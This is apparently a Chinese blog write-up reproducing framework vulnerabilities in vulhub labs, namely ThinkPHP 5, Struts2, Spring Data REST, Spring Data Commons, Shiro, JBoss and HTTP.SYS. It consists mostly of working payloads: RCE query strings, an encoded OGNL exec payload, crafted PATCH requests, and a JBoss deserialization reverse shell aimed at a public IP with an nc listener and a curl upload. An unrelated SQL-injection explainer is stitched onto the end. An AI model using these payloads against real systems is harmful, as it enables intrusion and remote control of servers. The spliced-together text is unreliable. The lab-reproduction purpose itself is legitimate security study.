常见框架漏洞复现

1、Thinkphp5x远程命令执行及getshell

1、环境配置

靶场:vulhub/thinkphp/5-rce
docker-compose up -d

2、漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

远程命令执行

poc:

? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=-1

poc:

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami

2、status2

1、访问靶机地址

2、在url处输⼊http://47.121.212.195:8080/struts2-

showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。

3、将上⾯验证payload的值修改为我们的利⽤exp:

$%7B%0A%28%23dm%3D@ognl.0gnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23 request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns tance%28@com.opensymphony.xwork2.ognl.0gnlUtil@class%29%29.%28%23ou.getExcl udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I OUtils@toString%28%23a.getInputStream%28%29%29%29%7D

3、Spring

1、Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

1、 访问 http://123.57.211.129:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

2、

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new
byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" , "value":"vulhub" }]
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令
进⼊docker容器:

4、spring 代码执⾏ (CVE-2018-1273)

1、

2、填写注册信息,bp抓包:

3、加上 poc :

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("t
ouch /tmp/crz")]=&password=&repeatedPassword=

5、Shiro rememberMe反序列化漏洞(Shiro-550)

1、

2、使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加rememberMe=123;

看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架

3、命令执行

6、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

1、漏洞复现

2、输⼊http://123.57.211.129:8081/invoker/EJBInvokerServlet 返回如图,说明接⼝开放,存在

反序列化漏洞:

3、#创建class⽂件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

# 创建反序列化⽂件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHas hMap
47.121.212.195:8888
# 监听8888 端⼝
nc -lvvp 8888
#psot 提交
curl http://123.57.211.129 :8081/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

7、HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034

1、访问⽹站;

2、编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416

Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执⾏漏洞。

3、使用工具

4、这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。

对于 Python 的注入漏洞,一种常见的情况是 SQL 注入。SQL 注入是指攻击者通过在用户输入的数据中注入恶意的 SQL 语句,从而篡改数据库查询的行为。 下面是一个简单的 Python 代码示例,演示了 SQL 注入的复现过程: ```python import pymysql # 连接数据库 conn = pymysql.connect(host='localhost', user='root', password='password', db='mydb') cursor = conn.cursor() # 用户输入 name = input("请输入用户名:") password = input("请输入密码:") # 构造 SQL 查询语句 sql = "SELECT * FROM users WHERE name = '{}' AND password = '{}'".format(name, password) # 执行查询 cursor.execute(sql) # 获取查询结果 result = cursor.fetchone() # 输出查询结果 if result: print("登录成功") else: print("登录失败") # 关闭连接 cursor.close() conn.close() ``` 在这个示例中,用户输入的 `name` 和 `password` 直接拼接到 SQL 查询语句中,这就存在注入漏洞的风险。攻击者可以通过输入特殊字符来构造恶意的 SQL 语句,例如输入 `' OR '1'='1`,这将使查询条件变为 `WHERE name = '' OR '1'='1' AND password = ''`,导致查询结果始终为真,从而绕过了正常的身份验证。 为了防止注入漏洞,我们应该使用参数化查询或者使用 ORM 框架来处理数据库查询,而不是直接拼接用户输入的数据到 SQL 语句中。参数化查询可以保证输入的数据作为值传递给 SQL 查询语句,而不会被解析为 SQL 语句的一部分,从而有效地防止了注入攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值